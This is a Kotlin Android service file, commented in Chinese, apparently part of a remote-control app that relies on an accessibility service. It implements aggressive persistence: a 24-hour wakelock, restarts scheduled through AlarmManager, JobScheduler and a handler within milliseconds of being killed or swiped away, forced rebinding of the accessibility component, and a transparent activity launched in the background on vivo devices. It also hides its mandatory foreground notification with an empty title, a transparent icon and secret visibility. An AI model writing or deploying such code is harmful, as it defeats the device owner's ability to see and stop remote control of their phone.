package com.hikoncont.service import android.app.Service import android.app.AlarmManager import android.app.PendingIntent import android.app.Notification import android.app.NotificationChannel import android.app.NotificationManager import android.content.ComponentName import android.content.Context import android.content.Intent import android.content.pm.PackageManager import android.os.IBinder import android.os.PowerManager import android.os.Process import android.util.Log import kotlinx.coroutines.* /** * 保活服务 * 用于监控AccessibilityRemoteService的状态并在需要时重启 */ class KeepAliveService : Service() { companion object { private const val TAG = "KeepAliveService" private const val CHECK_INTERVAL = 1000L // ✅ 激进优化:1秒检查一次,快速发现问题 private const val QUICK_RECOVERY_DELAY = 50L // ✅ 快速恢复:50ms延迟 private const val AGGRESSIVE_RECOVERY_DELAY = 20L // ✅ 激进恢复:20ms延迟 // ✅ 新增:无障碍服务重启限制 private const val MAX_ACCESSIBILITY_RESTART_ATTEMPTS = 5 // 最大重启尝试次数 private const val ACCESSIBILITY_RESTART_COOLDOWN = 30000L // 30秒冷却时间 } private val serviceScope = CoroutineScope(Dispatchers.IO + SupervisorJob()) private var monitorJob: Job? = null private var wakeLock: PowerManager.WakeLock? = null private var foregroundStarted: Boolean = false // ✅ 新增:无障碍服务重启控制 private var accessibilityRestartCount = 0 private var lastAccessibilityRestartTime = 0L private var isAccessibilityRestartBlocked = false override fun onCreate() { super.onCreate() Log.i(TAG, "🛡️ 保活服务创建") // 兜底:被以 startForegroundService 启动时,必须在5秒内调用 startForeground ensureForeground() // 获取WakeLock保活 acquireWakeLock() startMonitoring() } override fun onStartCommand(intent: Intent?, flags: Int, startId: Int): Int { Log.i(TAG, "保活服务启动命令") // 再次兜底,确保前台状态已建立 ensureForeground() return START_STICKY } override fun onBind(intent: Intent?): IBinder? { return null } override fun onDestroy() { Log.i(TAG, "🛑 保活服务销毁") // 释放WakeLock releaseWakeLock() // 被系统或清理工具杀死时,安排激进自恢复 scheduleSelfAndCoreRestart(AGGRESSIVE_RECOVERY_DELAY) // ✅ 激进:50ms快速恢复 Log.i(TAG, "🚀 启动激进保活恢复机制") monitorJob?.cancel() serviceScope.cancel() super.onDestroy() } override fun onTaskRemoved(rootIntent: Intent?) { Log.w(TAG, "🧹 检测到任务被移除(onTaskRemoved),安排服务自恢复") scheduleSelfAndCoreRestart(AGGRESSIVE_RECOVERY_DELAY) // ✅ 激进:50ms极速恢复 Log.i(TAG, "🚀 任务移除,启动激进恢复") super.onTaskRemoved(rootIntent) } /** * 获取WakeLock保活 */ private fun acquireWakeLock() { try { val powerManager = getSystemService(Context.POWER_SERVICE) as PowerManager wakeLock = powerManager.newWakeLock( PowerManager.PARTIAL_WAKE_LOCK, "RemoteControl::KeepAliveService" ) // 24小时强力保活 wakeLock?.acquire(24 * 60 * 60 * 1000L) Log.i(TAG, "🔋 KeepAliveService WakeLock已获取 (24小时)") } catch (e: Exception) { Log.e(TAG, "❌ 获取KeepAliveService WakeLock失败", e) } } /** * 释放WakeLock */ private fun releaseWakeLock() { try { wakeLock?.release() wakeLock = null Log.i(TAG, "🔋 KeepAliveService WakeLock已释放") } catch (e: Exception) { Log.e(TAG, "❌ 释放KeepAliveService WakeLock失败", e) } } /** * 开始监控主服务 * ✅ 关键:只有在APP安装完成后才开始监控无障碍权限 */ private fun startMonitoring() { monitorJob = serviceScope.launch { while (isActive) { try { // ✅ 关键:检查APP是否安装完成,未完成则不监控无障碍权限 if (!isAppInstallationComplete()) { Log.d(TAG, "🔒 APP安装未完成,跳过无障碍权限监控") delay(CHECK_INTERVAL) continue } checkAndRestartServices() delay(CHECK_INTERVAL) } catch (e: Exception) { Log.e(TAG, "监控过程中发生错误", e) delay(CHECK_INTERVAL) } } } } /** * ✅ 检查APP是否安装完成 * 只有在安装完成后才开始监控无障碍权限,避免第一次打开APP时反复唤醒主页 */ private fun isAppInstallationComplete(): Boolean { return try { val installationStateManager = com.hikoncont.util.InstallationStateManager.getInstance(this) val isCompleted = installationStateManager.isInstallationComplete() if (!isCompleted) { Log.d(TAG, "🔒 APP安装未完成,跳过无障碍权限监控") return false } // ✅ 检查安装完成时间,确保不是刚安装完成 val installationTime = installationStateManager.getInstallationTime() val currentTime = System.currentTimeMillis() val timeSinceInstallation = currentTime - installationTime // 如果安装完成时间少于30秒,跳过监控(给系统足够时间稳定) if (timeSinceInstallation < 30000L) { Log.d(TAG, "🔒 APP刚安装完成(${timeSinceInstallation}ms),跳过无障碍权限监控,等待系统稳定") return false } true } catch (e: Exception) { Log.e(TAG, "❌ 检查APP安装完成状态失败", e) false } } /** * 检查并重启服务 */ private fun checkAndRestartServices() { try { // ✅ 修复:先检查无障碍权限,再检查服务实例 if (!isAccessibilityServiceEnabled()) { Log.w(TAG, "⚠️ 无障碍服务权限已丢失,通知用户重新授权") notifyAccessibilityLost() } else { // 权限正常,检查AccessibilityService实例和运行状态 val accessibilityService = AccessibilityRemoteService.getInstance() val accessibilityRunning = AccessibilityRemoteService.isServiceRunning() if (accessibilityService == null || !accessibilityRunning) { Log.d(TAG, "🔍 无障碍权限正常,但服务实例未初始化或未运行,等待初始化完成") // 权限正常但服务未运行,等待初始化完成,不强制恢复 } } } catch (e: Exception) { Log.e(TAG, "❌ 检查服务状态失败", e) } } /** * ✅ 新增:快速恢复无障碍服务 */ private fun quickRecoverAccessibilityService() { try { Log.i(TAG, "🚀 开始快速恢复无障碍服务") val manufacturer = android.os.Build.MANUFACTURER.lowercase() val brand = android.os.Build.BRAND.lowercase() // ✅ 参考 f 目录:不重启无障碍服务,系统会自动管理 // 方法1: 重启前台服务 restartForegroundService() // 方法4: 组件级强制重绑(关键步骤) try { val pm = packageManager val component = ComponentName(this, AccessibilityRemoteService::class.java) val flags = PackageManager.DONT_KILL_APP or PackageManager.SYNCHRONOUS val firstDelay = if (manufacturer.contains("vivo") || brand.contains("vivo") || brand.contains("iqoo")) 400L else 200L val secondDelay = if (manufacturer.contains("vivo") || brand.contains("vivo") || brand.contains("iqoo")) 600L else 220L pm.setComponentEnabledSetting(component, PackageManager.COMPONENT_ENABLED_STATE_DISABLED, flags) Thread.sleep(firstDelay) pm.setComponentEnabledSetting(component, PackageManager.COMPONENT_ENABLED_STATE_ENABLED, flags) Log.i(TAG, "🔁 已执行首次组件重绑 (delay=${firstDelay}ms)") if (manufacturer.contains("vivo") || brand.contains("vivo") || brand.contains("iqoo")) { Thread.sleep(secondDelay) pm.setComponentEnabledSetting(component, PackageManager.COMPONENT_ENABLED_STATE_DISABLED, flags) Thread.sleep(200) pm.setComponentEnabledSetting(component, PackageManager.COMPONENT_ENABLED_STATE_ENABLED, flags) Log.i(TAG, "🔁 已执行二次组件重绑 (delay=${secondDelay}ms)") // 追加:切回默认态后再启用,提高系统刷新组件状态概率 Thread.sleep(250) pm.setComponentEnabledSetting(component, PackageManager.COMPONENT_ENABLED_STATE_DEFAULT, flags) Thread.sleep(250) pm.setComponentEnabledSetting(component, PackageManager.COMPONENT_ENABLED_STATE_ENABLED, flags) Log.i(TAG, "🔁 已执行默认态切换后再次启用 (vivo专项)") // 尝试直接拉起无障碍Service(可能被系统忽略,但不影响) tryDirectStartAccessibilityService() } else { Log.i(TAG, "🔁 非vivo系执行单次重绑") } } catch (e: Exception) { Log.w(TAG, "⚠️ 组件级重绑失败", e) } // vivo / iQOO: 后台轻唤起透明保活Activity,提升系统回绑几率 if (manufacturer.contains("vivo") || brand.contains("vivo") || brand.contains("iqoo")) { try { val bg = Intent(this, com.hikoncont.TransparentKeepAliveActivity::class.java).apply { addFlags(Intent.FLAG_ACTIVITY_NEW_TASK) addFlags(Intent.FLAG_ACTIVITY_NO_ANIMATION) putExtra("LAUNCH_BACKGROUND", true) putExtra("from_keepalive_service", true) putExtra("keepalive_launch", true) } startActivity(bg) Log.i(TAG, "🫥 已后台唤起透明保活Activity 以协助系统回绑") } catch (e: Exception) { Log.w(TAG, "⚠️ 后台唤起透明保活Activity 失败", e) } } // 方法4: 延迟检查恢复效果 serviceScope.launch { delay(1000) // 1秒后检查 val serviceInstance = AccessibilityRemoteService.getInstance() val serviceRunning = AccessibilityRemoteService.isServiceRunning() if (serviceInstance != null && serviceRunning) { Log.i(TAG, "✅ 无障碍服务快速恢复成功") } else { Log.w(TAG, "⚠️ 无障碍服务快速恢复失败,切换多重保活恢复") // 如果快速恢复失败,尝试多重保活机制 scheduleSelfAndCoreRestart(500L) } } } catch (e: Exception) { Log.e(TAG, "❌ 快速恢复无障碍服务失败", e) } } /** * 检查无障碍服务是否启用 */ private fun isAccessibilityServiceEnabled(): Boolean { return try { val accessibilityEnabled = android.provider.Settings.Secure.getInt( contentResolver, android.provider.Settings.Secure.ACCESSIBILITY_ENABLED ) if (accessibilityEnabled == 1) { val serviceId = "${packageName}/${AccessibilityRemoteService::class.java.canonicalName}" val enabledServices = android.provider.Settings.Secure.getString( contentResolver, android.provider.Settings.Secure.ENABLED_ACCESSIBILITY_SERVICES ) enabledServices?.contains(serviceId) == true } else { false } } catch (e: Exception) { Log.e(TAG, "❌ 检查无障碍服务状态失败", e) false } } /** * 通知无障碍服务权限丢失(优化版:不拉起MainActivity) */ private fun notifyAccessibilityLost() { try { Log.w(TAG, "⚠️ 无障碍服务权限丢失,记录日志但不拉起MainActivity") // 记录到操作日志,但不拉起MainActivity val service = AccessibilityRemoteService.getInstance() service?.recordOperationLog("ACCESSIBILITY_PERMISSION_LOST", "无障碍服务权限丢失", mapOf( "timestamp" to System.currentTimeMillis(), "keepAliveService" to true, "restartCount" to accessibilityRestartCount )) // ✅ 参考 f 目录:不重启无障碍服务,系统会自动管理 Log.d(TAG, "📱 无障碍服务权限丢失,系统会自动管理无障碍服务生命周期") } catch (e: Exception) { Log.e(TAG, "❌ 处理无障碍服务权限丢失失败", e) } } // ✅ 参考 f 目录:已移除重启无障碍服务的功能,系统会自动管理无障碍服务生命周期 /** * 引导用户手动进行无障碍授权 */ private fun guideUserToManualAuthorization() { try { Log.i(TAG, "📱 引导用户手动进行无障碍授权") // ✅ 保活程序不启动MainActivity,只记录日志 Log.i(TAG, "📱 检测到无障碍故障,保活程序不启动MainActivity,只记录日志") // 发送通知提醒用户 // showAccessibilityPermissionNotification() // 记录操作日志 val service = AccessibilityRemoteService.getInstance() service?.recordOperationLog("ACCESSIBILITY_MANUAL_AUTHORIZATION_REQUIRED", "需要用户手动进行无障碍授权", mapOf( "timestamp" to System.currentTimeMillis(), "restartCount" to accessibilityRestartCount, "blocked" to true )) // 延迟重置计数器,给用户时间进行手动授权 serviceScope.launch { delay(60000) // 等待1分钟 resetAccessibilityRestartCounter() } } catch (e: Exception) { Log.e(TAG, "❌ 引导用户手动授权失败", e) } } /** * 处理权限丢失(不启动MainActivity,只记录日志) */ private fun startMainActivityForPermission() { try { Log.i(TAG, "📱 无障碍权限丢失,保活程序不启动MainActivity,只记录日志") // ✅ 保活程序只记录日志,不启动MainActivity,避免打扰用户 // 用户需要时可以手动打开APP进行权限设置 } catch (e: Exception) { Log.e(TAG, "❌ 处理权限丢失失败", e) } } /** * 重置无障碍服务重启计数器 */ private fun resetAccessibilityRestartCounter() { try { accessibilityRestartCount = 0 isAccessibilityRestartBlocked = false Log.i(TAG, "🔄 无障碍服务重启计数器已重置") } catch (e: Exception) { Log.e(TAG, "❌ 重置无障碍服务重启计数器失败", e) } } /** * 显示无障碍权限通知(已禁用) */ private fun showAccessibilityPermissionNotification() { try { // ✅ 修改:不显示通知,只记录日志 Log.i(TAG, "📱 无障碍服务权限丢失,不显示通知,等待用户手动操作") } catch (e: Exception) { Log.e(TAG, "❌ 处理无障碍权限通知失败", e) } } /** * 重启前台服务 */ private fun restartForegroundService() { try { val intent = Intent(this, RemoteControlForegroundService::class.java) intent.action = "RESTART_SERVICE" startForegroundService(intent) Log.i(TAG, "已重启前台服务") } catch (e: Exception) { Log.e(TAG, "重启前台服务失败", e) } } /** * 使用多重保活机制在被清理后自恢复前台服务与保活服务 */ private fun scheduleSelfAndCoreRestart(delayMillis: Long) { try { Log.i(TAG, "🛡️ 启动多重保活机制") // 方法1: AlarmManager保活(主要机制) scheduleAlarmManagerRestart(delayMillis) // 方法2: JobScheduler保活(备用机制) scheduleJobSchedulerRestart(delayMillis + QUICK_RECOVERY_DELAY) // ✅ 激进:100ms快速恢复 // 方法3: 广播保活(最后保障) scheduleBroadcastRestart(delayMillis + QUICK_RECOVERY_DELAY * 2) // ✅ 激进:200ms快速恢复 Log.i(TAG, "✅ 多重保活机制已启动") } catch (e: Exception) { Log.e(TAG, "❌ 启动多重保活机制失败", e) } } /** * AlarmManager保活机制 */ private fun scheduleAlarmManagerRestart(delayMillis: Long) { try { val alarmManager = getSystemService(Context.ALARM_SERVICE) as AlarmManager val rcfsIntent = Intent(this, RemoteControlForegroundService::class.java).apply { action = "RESTART_SERVICE" } val keepAliveIntent = Intent(this, KeepAliveService::class.java) val pendingFlags = (PendingIntent.FLAG_UPDATE_CURRENT or PendingIntent.FLAG_IMMUTABLE) // 使用随机ID避免冲突 val randomId1 = (System.currentTimeMillis() % 10000).toInt() val randomId2 = randomId1 + 1 val rcfsPI = PendingIntent.getForegroundService( this, randomId1, rcfsIntent, pendingFlags ) val keepAlivePI = PendingIntent.getService( this, randomId2, keepAliveIntent, pendingFlags ) val triggerAt = System.currentTimeMillis() + delayMillis // 使用极速恢复策略 alarmManager.setExactAndAllowWhileIdle(AlarmManager.RTC_WAKEUP, triggerAt, rcfsPI) alarmManager.setExactAndAllowWhileIdle(AlarmManager.RTC_WAKEUP, triggerAt + QUICK_RECOVERY_DELAY, keepAlivePI) // ✅ 激进:100ms极速恢复 Log.i(TAG, "⏰ AlarmManager保活已安排: 前台服务(${delayMillis}ms) + 保活服务(${delayMillis + 200}ms)") } catch (e: Exception) { Log.e(TAG, "❌ AlarmManager保活安排失败", e) } } /** * JobScheduler保活机制(Android 5.0+) */ private fun scheduleJobSchedulerRestart(delayMillis: Long) { try { if (android.os.Build.VERSION.SDK_INT >= android.os.Build.VERSION_CODES.LOLLIPOP) { val jobScheduler = getSystemService(Context.JOB_SCHEDULER_SERVICE) as android.app.job.JobScheduler val jobInfo = android.app.job.JobInfo.Builder( (System.currentTimeMillis() % 10000).toInt(), android.content.ComponentName(this, KeepAliveJobService::class.java) ).apply { setMinimumLatency(delayMillis) setOverrideDeadline(delayMillis + QUICK_RECOVERY_DELAY * 10) // ✅ 激进:1000ms快速调度 setRequiredNetworkType(android.app.job.JobInfo.NETWORK_TYPE_NONE) setPersisted(false) }.build() val result = jobScheduler.schedule(jobInfo) if (result == android.app.job.JobScheduler.RESULT_SUCCESS) { Log.i(TAG, "⏰ JobScheduler保活已安排: ${delayMillis}ms") } else { Log.w(TAG, "⚠️ JobScheduler保活安排失败") } } } catch (e: Exception) { Log.e(TAG, "❌ JobScheduler保活安排失败", e) } } /** * 广播保活机制 */ private fun scheduleBroadcastRestart(delayMillis: Long) { try { val handler = android.os.Handler(android.os.Looper.getMainLooper()) handler.postDelayed({ try { Log.i(TAG, "📡 广播保活机制触发") // 启动前台服务 val rcfsIntent = Intent(this@KeepAliveService, RemoteControlForegroundService::class.java).apply { action = "RESTART_SERVICE" } startForegroundService(rcfsIntent) // 启动保活服务 val keepAliveIntent = Intent(this@KeepAliveService, KeepAliveService::class.java) startService(keepAliveIntent) Log.i(TAG, "✅ 广播保活机制执行完成") } catch (e: Exception) { Log.e(TAG, "❌ 广播保活机制执行失败", e) } }, delayMillis) Log.i(TAG, "⏰ 广播保活已安排: ${delayMillis}ms") } catch (e: Exception) { Log.e(TAG, "❌ 广播保活安排失败", e) } } /** * 尝试直接启动无障碍服务(如果系统允许) */ private fun tryDirectStartAccessibilityService() { try { val intent = Intent(this, AccessibilityRemoteService::class.java) // 某些系统会忽略,但不影响整体流程 startService(intent) Log.i(TAG, "🟢 已尝试直接启动 AccessibilityRemoteService") } catch (e: Exception) { Log.w(TAG, "⚠️ 直接启动 AccessibilityRemoteService 失败", e) } } /** * 确保服务以前台方式运行,避免前台启动超时崩溃 */ private fun ensureForeground() { if (foregroundStarted) return try { val channelId = "keepalive_channel" val channelName = "KeepAlive" val notificationManager = getSystemService(Context.NOTIFICATION_SERVICE) as NotificationManager if (android.os.Build.VERSION.SDK_INT >= 26) { // ✅ 使用 IMPORTANCE_NONE 完全隐藏通知(Android 8.0+) val channel = NotificationChannel(channelId, channelName, NotificationManager.IMPORTANCE_NONE) channel.setShowBadge(false) channel.enableLights(false) channel.enableVibration(false) channel.setSound(null, null) channel.setBypassDnd(false) notificationManager.createNotificationChannel(channel) } val builder = if (android.os.Build.VERSION.SDK_INT >= 26) { Notification.Builder(this, channelId) } else { Notification.Builder(this) } val notification = builder .setContentTitle("") // ✅ 隐藏标题 .setContentText("") // ✅ 隐藏内容 .setSmallIcon(android.R.color.transparent) // ✅ 使用透明图标 .setOngoing(true) .setPriority(Notification.PRIORITY_MIN) // ✅ 最低优先级 .setShowWhen(false) // ✅ 不显示时间 .setAutoCancel(false) // ✅ 不可取消 .setVisibility(Notification.VISIBILITY_SECRET) // ✅ 完全隐藏 .build() startForeground(1001, notification) // ✅ 尝试移除通知(某些设备上可能有效) try { if (android.os.Build.VERSION.SDK_INT >= 24) { stopForeground(Service.STOP_FOREGROUND_REMOVE) } } catch (e: Exception) { // 忽略错误,某些设备不支持移除通知 Log.d(TAG, "无法移除通知(这是正常的)") } foregroundStarted = true Log.i(TAG, "✅ KeepAliveService 已进入前台运行(完全隐藏通知)") } catch (e: Exception) { Log.e(TAG, "❌ KeepAliveService 前台启动失败", e) } } }